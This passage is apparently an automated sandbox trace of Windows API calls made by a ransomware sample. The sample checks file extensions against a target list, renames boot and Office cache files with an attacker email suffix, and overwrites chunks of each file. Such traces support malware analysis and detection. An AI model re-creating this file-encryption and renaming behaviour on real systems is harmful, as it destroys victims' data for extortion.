(lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.622] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.622] lstrlenW (lpString=".doc") returned 4 [0033.622] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.622] lstrlenW (lpString=".docx") returned 5 [0033.623] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.623] lstrlenW (lpString=".pdf") returned 4 [0033.623] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.623] lstrlenW (lpString=".xls") returned 4 [0033.623] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.623] lstrlenW (lpString=".xlsx") returned 5 [0033.623] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.623] lstrlenW (lpString=".ppt") returned 4 [0033.623] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.623] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.623] lstrlenW (lpString=".zip") returned 4 [0033.623] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.623] lstrlenW (lpString=".rar") returned 4 [0033.623] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.623] lstrlenW (lpString=".bz2") returned 4 [0033.623] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.623] lstrlenW (lpString=".7z") returned 3 [0033.623] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.623] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.623] lstrlenW (lpString=".dbf") returned 4 [0033.623] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.623] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.623] lstrlenW (lpString=".1cd") returned 4 [0033.623] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.623] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0033.623] lstrlenW (lpString=".jpg") returned 4 [0033.623] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.623] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.623] lstrlenW (lpString="memtest.exe.mui") returned 15 [0033.623] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0033.624] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=43600) returned 1 [0033.624] CloseHandle (hObject=0x178) returned 1 [0033.624] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0033.624] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0033.624] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.624] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.624] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.624] lstrlenW (lpString=".doc") returned 4 [0033.624] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.624] lstrlenW (lpString=".docx") returned 5 [0033.624] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.624] lstrlenW (lpString=".pdf") returned 4 [0033.624] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.624] lstrlenW (lpString=".xls") returned 4 [0033.624] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.624] lstrlenW (lpString=".xlsx") returned 5 [0033.624] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.624] lstrlenW (lpString=".ppt") returned 4 [0033.624] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.624] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.624] lstrlenW (lpString=".zip") returned 4 [0033.624] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.624] lstrlenW (lpString=".rar") returned 4 [0033.624] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.625] lstrlenW (lpString=".bz2") returned 4 [0033.625] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.625] lstrlenW (lpString=".7z") returned 3 [0033.625] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.625] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.625] lstrlenW (lpString=".dbf") returned 4 [0033.625] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.625] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.625] lstrlenW (lpString=".1cd") returned 4 [0033.625] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.625] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.625] lstrlenW (lpString=".jpg") returned 4 [0033.625] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.625] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.625] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.625] lstrlenW (lpString=".doc") returned 4 [0033.625] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.625] lstrlenW (lpString=".docx") returned 5 [0033.625] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.625] lstrlenW (lpString=".pdf") returned 4 [0033.625] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.625] lstrlenW (lpString=".xls") returned 4 [0033.625] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.625] lstrlenW (lpString=".xlsx") returned 5 [0033.625] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.625] lstrlenW (lpString=".ppt") returned 4 [0033.625] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.625] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.625] lstrlenW (lpString=".zip") returned 4 [0033.625] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.625] lstrlenW (lpString=".rar") returned 4 [0033.625] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.625] lstrlenW (lpString=".bz2") returned 4 [0033.626] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.626] lstrlenW (lpString=".7z") returned 3 [0033.626] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.626] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.626] lstrlenW (lpString=".dbf") returned 4 [0033.626] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.626] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.626] lstrlenW (lpString=".1cd") returned 4 [0033.626] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.626] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0033.626] lstrlenW (lpString=".jpg") returned 4 [0033.626] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.626] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0033.626] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.626] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0033.626] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=90192) returned 1 [0033.626] CloseHandle (hObject=0x178) returned 1 [0033.626] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0033.626] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0033.626] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.627] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0033.627] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0033.627] lstrlenW (lpString=".doc") returned 4 [0033.627] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.627] lstrlenW (lpString=".docx") returned 5 [0033.627] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.627] lstrlenW (lpString=".pdf") returned 4 [0033.627] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.627] lstrlenW (lpString=".xls") returned 4 [0033.627] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.627] lstrlenW (lpString=".xlsx") returned 5 [0033.627] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.627] lstrlenW (lpString=".ppt") returned 4 [0033.627] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.627] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0033.627] lstrlenW (lpString=".zip") returned 4 [0033.627] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.627] lstrlenW (lpString=".rar") returned 4 [0033.627] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.627] lstrlenW (lpString=".bz2") returned 4 [0033.627] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.627] lstrlenW (lpString=".7z") returned 3 [0033.627] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.628] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[paydra@cock.li].html")) returned 0 [0033.631] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[paydra@cock.li].html")) returned 0 [0033.632] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[paydra@cock.li].html")) returned 0 [0033.632] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[paydra@cock.li].html")) returned 0 [0034.100] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0034.388] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0034.389] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0x0) returned 1 [0034.389] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.389] ReadFile (in: hFile=0x170, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.469] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.469] ReadFile (in: hFile=0x170, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.480] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0034.480] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0034.480] ReadFile (in: hFile=0x170, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0034.545] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.545] WriteFile (in: hFile=0x170, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2b1fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0034.966] SetEndOfFile (hFile=0x170) returned 1 [0034.966] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f41088 [0034.970] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.970] WriteFile (in: hFile=0x170, lpBuffer=0x3f41088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41088*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.971] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.971] WriteFile (in: hFile=0x170, lpBuffer=0x3f41088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41088*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.985] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0034.985] WriteFile (in: hFile=0x170, lpBuffer=0x3f41088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f41088*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0034.988] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0034.988] CloseHandle (hObject=0x170) returned 1 [0035.717] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.718] lstrlenW (lpString=".doc") returned 4 [0035.718] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0035.718] lstrlenW (lpString=".docx") returned 5 [0035.718] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0035.718] lstrlenW (lpString=".pdf") returned 4 [0035.718] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0035.718] lstrlenW (lpString=".xls") returned 4 [0035.718] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0035.718] lstrlenW (lpString=".xlsx") returned 5 [0035.718] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0035.718] lstrlenW (lpString=".ppt") returned 4 [0035.718] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0035.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.718] lstrlenW (lpString=".zip") returned 4 [0035.718] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0035.718] lstrlenW (lpString=".rar") returned 4 [0035.718] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0035.718] lstrlenW (lpString=".bz2") returned 4 [0035.718] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0035.718] lstrlenW (lpString=".7z") returned 3 [0035.718] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0035.718] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.718] lstrlenW (lpString=".dbf") returned 4 [0035.718] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0035.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.719] lstrlenW (lpString=".1cd") returned 4 [0035.719] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0035.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.719] lstrlenW (lpString=".jpg") returned 4 [0035.719] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0035.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.719] lstrlenW (lpString=".doc") returned 4 [0035.719] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0035.719] lstrlenW (lpString=".docx") returned 5 [0035.719] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0035.719] lstrlenW (lpString=".pdf") returned 4 [0035.719] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0035.719] lstrlenW (lpString=".xls") returned 4 [0035.719] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0035.719] lstrlenW (lpString=".xlsx") returned 5 [0035.719] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0035.719] lstrlenW (lpString=".ppt") returned 4 [0035.719] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0035.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.719] lstrlenW (lpString=".zip") returned 4 [0035.719] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0035.719] lstrlenW (lpString=".rar") returned 4 [0035.719] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0035.719] lstrlenW (lpString=".bz2") returned 4 [0035.719] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0035.719] lstrlenW (lpString=".7z") returned 3 [0035.719] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0035.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.719] lstrlenW (lpString=".dbf") returned 4 [0035.719] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0035.719] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.719] lstrlenW (lpString=".1cd") returned 4 [0035.720] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0035.720] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0035.720] lstrlenW (lpString=".jpg") returned 4 [0035.720] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0035.720] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0035.720] lstrlenW (lpString="PubLR.cab") returned 9 [0035.720] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0035.720] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=9958388) returned 1 [0035.720] CloseHandle (hObject=0x170) returned 1 [0035.720] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0035.720] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.720] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0035.721] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0035.721] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0x0) returned 1 [0035.721] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0035.721] ReadFile (in: hFile=0x170, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.886] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0035.886] ReadFile (in: hFile=0x170, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.906] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0035.906] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0035.906] ReadFile (in: hFile=0x170, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0035.922] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.922] WriteFile (in: hFile=0x170, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2b1fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0036.206] SetEndOfFile (hFile=0x170) returned 1 [0036.206] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fa1098 [0036.210] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.210] WriteFile (in: hFile=0x170, lpBuffer=0x3fa1098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1098*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.212] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.212] WriteFile (in: hFile=0x170, lpBuffer=0x3fa1098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1098*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.216] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.216] WriteFile (in: hFile=0x170, lpBuffer=0x3fa1098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1098*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 